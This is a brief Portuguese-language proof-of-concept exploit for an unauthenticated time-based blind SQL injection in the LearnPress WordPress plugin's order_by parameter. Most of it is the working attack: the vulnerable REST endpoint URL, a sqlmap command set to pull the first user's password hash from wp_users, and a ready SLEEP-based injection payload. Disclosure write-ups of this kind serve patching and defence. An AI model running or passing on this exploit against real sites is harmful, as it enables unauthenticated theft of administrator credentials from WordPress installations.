
Prova de conceito de exploit para uma injeção SQL cega baseada em tempo no plugin LearnPress para WordPress, permitindo que atacantes não autenticados extraiam dados sensíveis por meio do parâmetro order_by.
SQLi baseado em tempo
Descrição O plugin não sanitiza e escapa adequadamente o parâmetro order_by antes de usá-lo em uma instrução SQL, levando a uma injeção de SQL explorável por usuários não autenticados
Requisição GET vulnerável: https://vulnerablewordpress.com/wp-json/lp/v1/courses/archive-course?c_search=test&order_by=ID&order=DESC&limit=10&return_type=html
Salve a requisição GET
sqlmap -r ~/sqli.req -p order_by --technique=T --sql-query = 'select user_pass from wp_users where id = 1'
O sqlmap retomou o(s) seguinte(s) ponto(s) de injeção da sessão armazenada:
Parâmetro: #1* (URI) Tipo: cego baseado em tempo Título: MySQL >= 5.0.12 AND cego baseado em tempo (query SLEEP) Payload: https://VULNERABLEWORDPRESS/wp-json/lp/v1/courses/archive-course?c_search=test&order_by=ID AND (SELECT 7508 FROM (SELECT(SLEEP(5)))VVvd)&order=DESC&limit=10&return_type=html